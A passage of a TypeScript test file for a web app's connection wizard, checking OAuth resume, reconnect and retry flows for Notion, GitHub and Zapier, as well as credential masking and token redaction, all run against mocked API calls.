expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(finishAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("rejects a matching-provider resume when the saved connection was already active", async () => {
|
||
const connectionId = "22222222-2222-4222-8222-222222222222";
|
||
mockSearch.value = `source=clickup&resume=${connectionId}`;
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock.mockResolvedValueOnce({
|
||
applications: [{
|
||
id: "app-clickup",
|
||
companyId: "company-1",
|
||
status: "active",
|
||
metadata: { sourceTemplateKey: "clickup" },
|
||
}],
|
||
});
|
||
listConnectionsMock.mockResolvedValueOnce({
|
||
connections: [{
|
||
id: connectionId,
|
||
companyId: "company-1",
|
||
applicationId: "app-clickup",
|
||
authKind: "oauth",
|
||
credentialPolicy: "per_user",
|
||
status: "active",
|
||
config: { sourceTemplateKey: "clickup" },
|
||
transportConfig: { sourceTemplateKey: "clickup" },
|
||
}],
|
||
});
|
||
|
||
await render();
|
||
await vi.waitFor(() => expect(container.textContent).toContain("This setup can’t be resumed"));
|
||
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(finishAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("does not resolve a hidden provider when a resumed draft belongs to another provider", async () => {
|
||
const connectionId = "22222222-2222-4222-8222-222222222222";
|
||
mockSearch.value = `source=clickup&resume=${connectionId}`;
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock.mockResolvedValueOnce({
|
||
applications: [{
|
||
id: "app-monday",
|
||
status: "active",
|
||
metadata: { sourceTemplateKey: "monday" },
|
||
}],
|
||
});
|
||
listConnectionsMock.mockResolvedValueOnce({
|
||
connections: [{
|
||
id: connectionId,
|
||
applicationId: "app-monday",
|
||
authKind: "oauth",
|
||
credentialPolicy: "per_user",
|
||
status: "draft",
|
||
config: { sourceTemplateKey: "clickup" },
|
||
transportConfig: {},
|
||
}],
|
||
});
|
||
|
||
await render();
|
||
await vi.waitFor(() => {
|
||
expect(container.textContent).toContain("This setup can’t be resumed");
|
||
});
|
||
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("keeps an unavailable hidden draft on the blocked recovery screen", async () => {
|
||
const connectionId = "22222222-2222-4222-8222-222222222222";
|
||
mockSearch.value = `source=clickup&resume=${connectionId}`;
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock.mockResolvedValueOnce({ applications: [] });
|
||
listConnectionsMock.mockResolvedValueOnce({ connections: [] });
|
||
|
||
await render();
|
||
await vi.waitFor(() => {
|
||
expect(container.textContent).toContain("The saved connection no longer exists");
|
||
});
|
||
|
||
expect(mockNavigate).not.toHaveBeenCalled();
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("shows installation recovery for GitHub even when an advanced PAT method is available", async () => {
|
||
const connectionId = "22222222-2222-4222-8222-222222222222";
|
||
mockSearch.value = `source=github&resume=${connectionId}&oauth=failed&code=github_installation_required&installation_url=https%3A%2F%2Fgithub.com%2Fapps%2Fpaperclip-for-github%2Finstallations%2Fnew`;
|
||
listGalleryMock.mockResolvedValue({ apps: [GITHUB_MANAGED] });
|
||
listApplicationsMock.mockResolvedValue({ applications: [{ id: "app-github", status: "draft", metadata: { sourceTemplateKey: "github" } }] });
|
||
listConnectionsMock.mockResolvedValue({ connections: [{
|
||
id: connectionId, applicationId: "app-github", authKind: "oauth", credentialPolicy: "per_user", status: "draft",
|
||
config: { sourceTemplateKey: "github", connectionMethodKey: "managed" }, transportConfig: {},
|
||
}] });
|
||
await render();
|
||
await flushReact();
|
||
expect(container.textContent).toContain("Install Paperclip and grant at least one repository");
|
||
expect(container.querySelector('a[href="https://github.com/apps/paperclip-for-github/installations/new"]')?.textContent).toBe("Install Paperclip on GitHub");
|
||
expect(container.textContent).not.toContain("Your GitHub key");
|
||
await act(async () => buttonByText("Try again")!.click());
|
||
await flushReact();
|
||
expect(startOAuthMock).toHaveBeenCalledWith(connectionId, { asCurrentUser: true });
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("returns a declined OAuth draft to the same one-action resume checkpoint", async () => {
|
||
mockSearch.value = "source=notion&resume=22222222-2222-4222-8222-222222222222&oauth=denied&code=oauth_authorization_denied";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock.mockResolvedValueOnce({
|
||
applications: [notionApplication("draft")],
|
||
});
|
||
listConnectionsMock.mockResolvedValueOnce({
|
||
connections: [{
|
||
id: "22222222-2222-4222-8222-222222222222",
|
||
applicationId: "app-notion",
|
||
authKind: "oauth",
|
||
credentialPolicy: "shared",
|
||
status: "draft",
|
||
config: { sourceTemplateKey: "notion", connectionMethodKey: "mcp-oauth" },
|
||
transportConfig: {},
|
||
}],
|
||
});
|
||
|
||
await render();
|
||
await flushReact();
|
||
expect(container.textContent).toContain("Notion couldn’t connect");
|
||
expect(container.textContent).toContain("Your saved connection was not changed");
|
||
expect(buttonByText("Try again")).toBeTruthy();
|
||
|
||
await act(async () => {
|
||
buttonByText("Try again")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
expect(startOAuthMock).toHaveBeenCalledWith(
|
||
"22222222-2222-4222-8222-222222222222",
|
||
{ asCurrentUser: false },
|
||
);
|
||
});
|
||
|
||
it.each([
|
||
["personal", "per_user", true],
|
||
["organization", "shared", false],
|
||
] as const)("preserves an active %s identity when reconnecting Notion", async (
|
||
_label,
|
||
credentialPolicy,
|
||
asCurrentUser,
|
||
) => {
|
||
mockSearch.value = "source=notion";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock.mockResolvedValueOnce({
|
||
applications: [notionApplication("active")],
|
||
});
|
||
listConnectionsMock.mockResolvedValueOnce({
|
||
connections: [notionConnection("conn-existing", credentialPolicy, "active")],
|
||
});
|
||
startOAuthMock.mockResolvedValueOnce(oauthStartResponse("conn-existing", "notion", "https://mcp.notion.com/authorize?state=existing"));
|
||
|
||
await render();
|
||
expect(container.textContent).toContain(
|
||
credentialPolicy === "per_user" ? "Connects as you" : "Connects for everyone in your organization",
|
||
);
|
||
expect(container.textContent).toContain("agent access stays as it is");
|
||
await passAccessStep();
|
||
await submitCuratedOAuthSetup();
|
||
|
||
expect(startOAuthMock).toHaveBeenCalledWith("conn-existing", {
|
||
asCurrentUser,
|
||
});
|
||
});
|
||
|
||
it("revives an archived Notion connection without reopening its organization identity choice", async () => {
|
||
mockSearch.value = "source=notion&applicationId=app-notion&new=1&reconnect=conn-archived&identity=organization";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock.mockResolvedValueOnce({
|
||
applications: [notionApplication("archived")],
|
||
});
|
||
listConnectionsMock.mockResolvedValueOnce({
|
||
connections: [notionConnection("conn-archived", "shared", "archived")],
|
||
});
|
||
connectAppMock.mockResolvedValueOnce({
|
||
connectionId: "conn-archived",
|
||
application: { id: "app-notion", name: "Notion" },
|
||
connection: {
|
||
id: "conn-archived",
|
||
credentialPolicy: "shared",
|
||
status: "draft",
|
||
},
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl: null },
|
||
});
|
||
startOAuthMock.mockResolvedValueOnce(oauthStartResponse("conn-archived", "notion", "https://mcp.notion.com/authorize?state=revived"));
|
||
|
||
await render();
|
||
expect(container.textContent).toContain("Connects for everyone in your organization");
|
||
await passAccessStep();
|
||
await submitCuratedOAuthSetup();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
galleryKey: "notion",
|
||
applicationId: "app-notion",
|
||
}));
|
||
expect(connectAppMock.mock.calls[0]?.[1]).not.toHaveProperty("grantKind");
|
||
expect(startOAuthMock).toHaveBeenCalledWith("conn-archived", {
|
||
asCurrentUser: false,
|
||
});
|
||
});
|
||
|
||
it("offers recovery when provider details fail during an exact retained reconnect", async () => {
|
||
mockSearch.value = "source=notion&applicationId=app-notion&new=1&reconnect=conn-archived&identity=organization";
|
||
listGalleryMock.mockRejectedValueOnce(new Error("Gallery unavailable"));
|
||
listApplicationsMock.mockResolvedValueOnce({
|
||
applications: [notionApplication("archived")],
|
||
});
|
||
listConnectionsMock.mockResolvedValueOnce({
|
||
connections: [notionConnection("conn-archived", "shared", "archived")],
|
||
});
|
||
|
||
await render();
|
||
|
||
expect(container.textContent).toContain("Couldn’t load connection setup");
|
||
expect(container.textContent).toContain("The retained connection was not changed");
|
||
expect(container.querySelector('[aria-label="Loading retained connection setup"]')).toBeNull();
|
||
|
||
await act(async () => {
|
||
buttonByText("Try again")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(listGalleryMock).toHaveBeenCalledTimes(2);
|
||
expect(container.textContent).not.toContain("Couldn’t load connection setup");
|
||
});
|
||
|
||
it.each(["connection", "application"] as const)(
|
||
"keeps an exact retained reconnect retryable when the %s lookup fails",
|
||
async (failedLookup) => {
|
||
mockSearch.value = "source=notion&applicationId=app-notion&new=1&reconnect=conn-archived&identity=organization";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
const applications = {
|
||
applications: [notionApplication("archived")],
|
||
};
|
||
const connections = {
|
||
connections: [notionConnection("conn-archived", "shared", "archived")],
|
||
};
|
||
if (failedLookup === "connection") {
|
||
listConnectionsMock
|
||
.mockRejectedValueOnce(new Error("Connection lookup unavailable"))
|
||
.mockResolvedValueOnce(connections);
|
||
listApplicationsMock.mockResolvedValue(applications);
|
||
} else {
|
||
listApplicationsMock
|
||
.mockRejectedValueOnce(new Error("Application lookup unavailable"))
|
||
.mockResolvedValueOnce(applications);
|
||
listConnectionsMock.mockResolvedValue(connections);
|
||
}
|
||
|
||
await render();
|
||
|
||
expect(container.textContent).toContain("Couldn’t load connection setup");
|
||
expect(container.textContent).toContain("The retained connection was not changed");
|
||
expect(container.textContent).not.toContain("This connection can’t be reconnected");
|
||
|
||
await act(async () => {
|
||
buttonByText("Try again")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(listConnectionsMock).toHaveBeenCalledTimes(2);
|
||
expect(listApplicationsMock).toHaveBeenCalledTimes(2);
|
||
expect(container.textContent).not.toContain("Couldn’t load connection setup");
|
||
expect(container.textContent).toContain("Connect Notion to Paperclip");
|
||
},
|
||
);
|
||
|
||
it("creates a fresh Notion OAuth connection when the provider landing requests another", async () => {
|
||
mockSearch.value = "source=notion&applicationId=app-notion&new=1";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock.mockResolvedValueOnce({
|
||
applications: [notionApplication("active")],
|
||
});
|
||
listConnectionsMock.mockResolvedValueOnce({
|
||
connections: [{
|
||
id: "conn-existing",
|
||
applicationId: "app-notion",
|
||
authKind: "oauth",
|
||
status: "active",
|
||
config: { sourceTemplateKey: "notion" },
|
||
transportConfig: {},
|
||
}, {
|
||
id: "conn-other-draft",
|
||
applicationId: "app-other",
|
||
authKind: "oauth",
|
||
status: "draft",
|
||
config: { sourceTemplateKey: "notion" },
|
||
transportConfig: {},
|
||
}],
|
||
});
|
||
connectAppMock.mockResolvedValueOnce({
|
||
connectionId: "conn-new",
|
||
application: { id: "app-notion", name: "Notion" },
|
||
connection: { id: "conn-new" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl: "https://mcp.notion.com/authorize?state=new" },
|
||
});
|
||
|
||
await render();
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
await passAccessStep();
|
||
await submitCuratedOAuthSetup();
|
||
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", {
|
||
galleryKey: "notion",
|
||
connectionMethodKey: "mcp-oauth",
|
||
name: "Notion for the organization",
|
||
credentialSource: "paperclip_vault",
|
||
credentialValues: {},
|
||
configValues: undefined,
|
||
applicationId: "app-notion",
|
||
});
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||
"https://mcp.notion.com/authorize?state=new",
|
||
);
|
||
});
|
||
|
||
it("waits for fresh connection data before creating a Notion OAuth draft", async () => {
|
||
mockSearch.value = "source=notion";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
|
||
queryClient.setQueryData(queryKeys.tools.applications("company-1"), { applications: [] });
|
||
queryClient.setQueryData(queryKeys.tools.connections("company-1"), { connections: [] });
|
||
|
||
let resolveApplications!: (value: unknown) => void;
|
||
let resolveConnections!: (value: unknown) => void;
|
||
listApplicationsMock.mockReturnValueOnce(new Promise((resolve) => {
|
||
resolveApplications = resolve;
|
||
}));
|
||
listConnectionsMock.mockReturnValueOnce(new Promise((resolve) => {
|
||
resolveConnections = resolve;
|
||
}));
|
||
|
||
await render(queryClient);
|
||
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
|
||
resolveApplications({
|
||
applications: [notionApplication("draft")],
|
||
});
|
||
resolveConnections({
|
||
connections: [notionConnection("conn-refreshed", "per_user", "draft")],
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
expect(container.textContent).not.toContain("Reconnect keeps this identity type");
|
||
expect(container.textContent).toContain("agent access stays as it is");
|
||
await passAccessStep();
|
||
await submitCuratedOAuthSetup();
|
||
expect(startOAuthMock).toHaveBeenCalledWith("conn-refreshed", {
|
||
asCurrentUser: true,
|
||
});
|
||
});
|
||
|
||
it("resumes Notion OAuth after a failed connection lookup is retried", async () => {
|
||
mockSearch.value = "source=notion";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock
|
||
.mockRejectedValueOnce(new Error("Lookup unavailable"))
|
||
.mockResolvedValueOnce({
|
||
applications: [notionApplication("draft")],
|
||
});
|
||
listConnectionsMock
|
||
.mockResolvedValueOnce({ connections: [] })
|
||
.mockResolvedValueOnce({
|
||
connections: [notionConnection("conn-after-retry", "per_user", "draft")],
|
||
});
|
||
|
||
await render();
|
||
|
||
expect(container.textContent).toContain("couldn’t check for an existing connection");
|
||
await act(async () => {
|
||
buttonByText("Try again")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
// PAP-659: Try again re-reads and then resumes the draft it finds. There
|
||
// is no Access step to bounce back through, and the operator already
|
||
// pressed the one primary action, so recovery must not ask again.
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(container.textContent).not.toContain("Reconnect keeps this identity type");
|
||
expect(startOAuthMock).toHaveBeenCalledWith("conn-after-retry", {
|
||
asCurrentUser: true,
|
||
});
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||
"https://mcp.notion.com/authorize?state=resumed",
|
||
);
|
||
});
|
||
|
||
it("restores the Notion lookup error when retrying still fails", async () => {
|
||
mockSearch.value = "source=notion";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock.mockRejectedValue(new Error("Lookup unavailable"));
|
||
|
||
await render();
|
||
await passAccessStep();
|
||
|
||
await act(async () => {
|
||
buttonByText("Try again")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("couldn’t check for an existing connection");
|
||
expect(buttonByText("Try again")).toBeTruthy();
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("retries OAuth on the prepared connection without creating another draft", async () => {
|
||
mockSearch.value = "source=notion";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
connectAppMock.mockResolvedValueOnce({
|
||
connectionId: "conn-prepared",
|
||
application: { id: "app-notion", name: "Notion" },
|
||
connection: { id: "conn-prepared", credentialPolicy: "per_user", status: "draft" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl: null },
|
||
});
|
||
startOAuthMock
|
||
.mockRejectedValueOnce(new Error("Provider unavailable"))
|
||
.mockResolvedValueOnce(oauthStartResponse("conn-prepared", "notion", "https://mcp.notion.com/authorize?state=retry"));
|
||
|
||
await render();
|
||
await passAccessStep();
|
||
await submitCuratedOAuthSetup();
|
||
|
||
expect(container.textContent).toContain("Provider unavailable");
|
||
await act(async () => {
|
||
buttonByText("Try again")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
expect(startOAuthMock).toHaveBeenCalledTimes(2);
|
||
expect(startOAuthMock).toHaveBeenLastCalledWith("conn-prepared", {
|
||
asCurrentUser: true,
|
||
});
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||
"https://mcp.notion.com/authorize?state=retry",
|
||
);
|
||
});
|
||
|
||
it("recovers a response-lost Notion draft before retrying creation", async () => {
|
||
mockSearch.value = "source=notion";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock
|
||
.mockResolvedValueOnce({ applications: [] })
|
||
.mockResolvedValueOnce({
|
||
applications: [{
|
||
id: "app-response-lost",
|
||
status: "draft",
|
||
metadata: { sourceTemplateKey: "notion" },
|
||
}],
|
||
});
|
||
listConnectionsMock
|
||
.mockResolvedValueOnce({ connections: [] })
|
||
.mockResolvedValueOnce({
|
||
connections: [{
|
||
id: "conn-response-lost",
|
||
applicationId: "app-response-lost",
|
||
authKind: "oauth",
|
||
credentialPolicy: "per_user",
|
||
status: "draft",
|
||
config: { sourceTemplateKey: "notion" },
|
||
transportConfig: {},
|
||
}],
|
||
});
|
||
connectAppMock.mockRejectedValueOnce(new Error("Response lost"));
|
||
startOAuthMock.mockResolvedValueOnce(oauthStartResponse("conn-response-lost", "notion", "https://mcp.notion.com/authorize?state=recovered"));
|
||
|
||
await render();
|
||
await passAccessStep();
|
||
await submitCuratedOAuthSetup();
|
||
|
||
expect(container.textContent).toContain("Response lost");
|
||
await act(async () => {
|
||
buttonByText("Try again")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
expect(startOAuthMock).toHaveBeenCalledWith("conn-response-lost", {
|
||
asCurrentUser: true,
|
||
});
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||
"https://mcp.notion.com/authorize?state=recovered",
|
||
);
|
||
});
|
||
|
||
it("opens customer-owned OAuth apps instead of blocking them by slug", async () => {
|
||
const slack = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "slack")!;
|
||
mockParams.appKey = "slack";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [slack] });
|
||
|
||
await render();
|
||
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
await openAccessAdvanced();
|
||
expect(container.textContent).toContain("Which humans can use this credential?");
|
||
expect(mockNavigate).not.toHaveBeenCalledWith("/apps/connect", { replace: true });
|
||
});
|
||
|
||
it("routes the enabled Notion gallery tile through the generic source deep link", async () => {
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
await render();
|
||
|
||
const notionTile = buttonContaining("Notion");
|
||
expect(notionTile?.disabled).toBe(false);
|
||
expect(notionTile?.textContent).toContain("Connect");
|
||
|
||
await act(async () => {
|
||
notionTile?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
expect(mockNavigate).toHaveBeenCalledWith("/apps/connect?source=notion");
|
||
});
|
||
|
||
it("choosing No and clicking Check link connects with no credentials", async () => {
|
||
await render();
|
||
await gotoLinkFrame(container, "https://www.example.com/actions");
|
||
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
const [, input] = connectAppMock.mock.calls[0];
|
||
expect(input).toMatchObject({
|
||
link: "https://www.example.com/actions",
|
||
name: "example.com/actions for the organization",
|
||
});
|
||
expect(input.credentialValues).toBeUndefined();
|
||
});
|
||
|
||
it("reveals one masked key field only after the probe says a credential is needed", async () => {
|
||
// PAP-659 bucket H. The first press asks the server; the server is what
|
||
// knows. Only its credential challenge puts a key field on screen, and the
|
||
// second press carries the key.
|
||
connectAppMock.mockRejectedValueOnce(
|
||
new ApiError("This app needs you to sign in.", 502, {
|
||
error: "This app needs you to sign in.",
|
||
details: { code: "oauth_challenge" },
|
||
}),
|
||
);
|
||
await render();
|
||
await gotoLinkFrame(container, "https://www.example.com/actions");
|
||
|
||
expect(
|
||
Array.from(container.querySelectorAll<HTMLInputElement>("input")).some(
|
||
(i) => i.type === "password",
|
||
),
|
||
).toBe(false);
|
||
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("This server wants a credential");
|
||
const passwordInputs = Array.from(
|
||
container.querySelectorAll<HTMLInputElement>("input"),
|
||
).filter((i) => i.type === "password");
|
||
expect(passwordInputs).toHaveLength(1);
|
||
expect(container.textContent).not.toContain("Stored securely.");
|
||
|
||
await act(async () => setInputValue(passwordInputs[0], "secret-key"));
|
||
await flushReact();
|
||
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(2);
|
||
const [, input] = connectAppMock.mock.calls[1];
|
||
expect(input.credentialValues).toEqual({ "credentials.authorization": "secret-key" });
|
||
});
|
||
|
||
it("a Zapier MCP URL stays in the URL flow and includes its token in the submitted link", async () => {
|
||
await render();
|
||
|
||
const linkInput = Array.from(
|
||
container.querySelectorAll<HTMLInputElement>("input"),
|
||
).find((i) => i.getAttribute("placeholder")?.startsWith("https://"));
|
||
const zapierUrl = "https://mcp.zapier.com/api/v1/connect?token=secret-token";
|
||
await act(async () => setInputValue(linkInput!, zapierUrl));
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("This looks like Zapier.");
|
||
expect(linkInput?.type).toBe("password");
|
||
expect(linkInput?.autocomplete).toBe("off");
|
||
|
||
await act(async () => {
|
||
buttonByText("Continue")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await openAccessAdvanced();
|
||
|
||
expect(container.textContent).toContain("Which humans can use this credential?");
|
||
expect(container.textContent).toContain("Which agents can use this connection?");
|
||
await passAccessStep();
|
||
|
||
expect(container.textContent).toContain("Connect your own MCP server");
|
||
expect(container.textContent).not.toContain(zapierUrl);
|
||
expect(container.textContent).toContain("token=REDACTED");
|
||
expect(container.querySelector('input[placeholder="My app"]')).toBeNull();
|
||
expect(container.querySelector('input[type="password"]')).toBeNull();
|
||
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
expect(connectAppMock.mock.calls[0]?.[1]).toMatchObject({
|
||
link: zapierUrl,
|
||
name: "Zapier for the organization",
|
||
galleryKey: "zapier",
|
||
connectionMethodKey: "generated-url",
|
||
});
|
||
expect(connectAppMock.mock.calls[0]?.[1].credentialValues).toBeUndefined();
|
||
});
|
||
|
||
it("gives Zapier the shared credential and agent access opener", async () => {
|
||
mockSearch.value = "source=zapier";
|
||
listGalleryMock.mockResolvedValueOnce({
|
||
apps: [
|
||
{ ...ZAPIER, branding: { ...ZAPIER.branding, logoUrl: "https://example.com/zapier.png" } },
|
||
],
|
||
});
|
||
connectAppMock.mockResolvedValueOnce({
|
||
connectionId: "conn-1",
|
||
application: { id: "app-1", name: "Zapier" },
|
||
actions: {
|
||
readOnly: [
|
||
{
|
||
catalogEntryId: "action-1",
|
||
toolName: "find_record",
|
||
title: "Find record",
|
||
description: "Find a record.",
|
||
riskLevel: "read",
|
||
},
|
||
],
|
||
canMakeChanges: [
|
||
{
|
||
catalogEntryId: "action-2",
|
||
toolName: "create_record",
|
||
title: "Create record",
|
||
description: "Create a record.",
|
||
riskLevel: "write",
|
||
},
|
||
],
|
||
},
|
||
catalog: [{ id: "action-1", status: "active" }, { id: "action-2", status: "active" }],
|
||
suggestedDefaults: { askFirstRiskLevels: [] },
|
||
});
|
||
await render();
|
||
|
||
// PAP-659 C0: no step counter and no Access step — the endpoint field is
|
||
// the first and only thing on the way in, with the default stated above it.
|
||
expect(container.textContent).not.toContain("Step 1 of 2");
|
||
expect(container.textContent).not.toContain("Step 2 of 2");
|
||
expect(container.textContent).toContain("Connect Zapier");
|
||
expect(container.textContent).toContain("Connects for everyone in your organization, available to all agents.");
|
||
expect(container.querySelector('[data-remote-mcp-provider="zapier"]')).toBeTruthy();
|
||
expect(container.textContent).not.toContain("Pick the app you want your agents to use.");
|
||
expect(container.textContent).toContain("MCP server URL");
|
||
|
||
// The two questions the deleted step asked are still answerable, together,
|
||
// one disclosure away.
|
||
expect(container.textContent).not.toContain("Which humans can use this credential?");
|
||
await act(async () => buttonByText("Change")!.click());
|
||
expect(container.textContent).toContain("Which humans can use this credential?");
|
||
expect(container.textContent).toContain("Which agents can use this connection?");
|
||
await act(async () => {
|
||
radioContaining("Just me")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
expect(container.textContent).toContain("Connects as you, available to all agents.");
|
||
|
||
const linkInput = container.querySelector<HTMLInputElement>(
|
||
'input[placeholder="Paste the full URL from Zapier"]',
|
||
);
|
||
expect(linkInput?.type).toBe("password");
|
||
expect(linkInput?.autocomplete).toBe("off");
|
||
const zapierUrl = "https://mcp.zapier.com/api/v1/connect?token=secret-token";
|
||
await act(async () => setInputValue(linkInput!, zapierUrl));
|
||
await flushReact();
|
||
|
||
await act(async () => {
|
||
buttonByText("Connect Zapier")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
expect(connectAppMock.mock.calls[0]?.[1]).toMatchObject({
|
||
link: zapierUrl,
|
||
name: "Zapier",
|
||
galleryKey: "zapier",
|
||
connectionMethodKey: "generated-url",
|
||
grantKind: "user",
|
||
});
|
||
|
||
expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", {
|
||
enabledCatalogEntryIds: ["action-1", "action-2"],
|
||
askFirstCatalogEntryIds: [],
|
||
access: "all_agents",
|
||
});
|
||
expect(putConnectionInstallsMock).toHaveBeenCalledWith("conn-1", [
|
||
{ targetType: "company", targetId: "company-1" },
|
||
]);
|
||
});
|
||
|
||
it("keeps alternate setup methods out of the connection wizard", async () => {
|
||
await render();
|
||
|
||
expect(container.textContent).not.toContain("More ways to connect");
|
||
expect(container.textContent).not.toContain("Run your own");
|
||
expect(container.textContent).not.toContain("Paste a config");
|
||
});
|
||
|
||
// PAP-11091: discoverability copy for remote MCP URLs — the link field
|
||
// advertises that any remote tool URL (incl. a local MCP server) works. Per
|
||
// the UX re-review, the localhost example lives in the body copy (legible at
|
||
// every viewport) rather than the placeholder, which truncated on mobile.
|
||
it("advertises that remote/local MCP URLs work under 'Connect with a link'", async () => {
|
||
await render();
|
||
|
||
expect(container.textContent).toContain(
|
||
"Any remote tool URL works here — including a local MCP server like",
|
||
);
|
||
expect(container.textContent).toContain("http://127.0.0.1:8848/mcp");
|
||
const linkInput = Array.from(container.querySelectorAll<HTMLInputElement>("input")).find((i) =>
|
||
i.getAttribute("placeholder")?.startsWith("https://example.com/actions"),
|
||
);
|
||
// Placeholder stays a single, short example so it never truncates.
|
||
expect(linkInput?.getAttribute("placeholder")).toBe("https://example.com/actions");
|
||
});
|
||
|
||
// Reconnect from the app page: ?link/?name/?applicationId prefill skips the
|
||
// gallery and re-attaches the connection to the existing application.
|
||
it("prefills the link frame from search params and passes applicationId to connect", async () => {
|
||
mockSearch.value =
|
||
"link=https%3A%2F%2Fwww.example.com%2Factions&name=Bla&applicationId=app-77";
|
||
await render();
|
||
await openAccessAdvanced();
|
||
|
||
expect(container.textContent).toContain("Which humans can use this credential?");
|
||
await passAccessStep();
|
||
|
||
expect(container.textContent).toContain("Connect your own MCP server");
|
||
expect(container.textContent).toContain("https://www.example.com/actions");
|
||
expect(container.querySelector('input[placeholder="My app"]')).toBeNull();
|
||
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
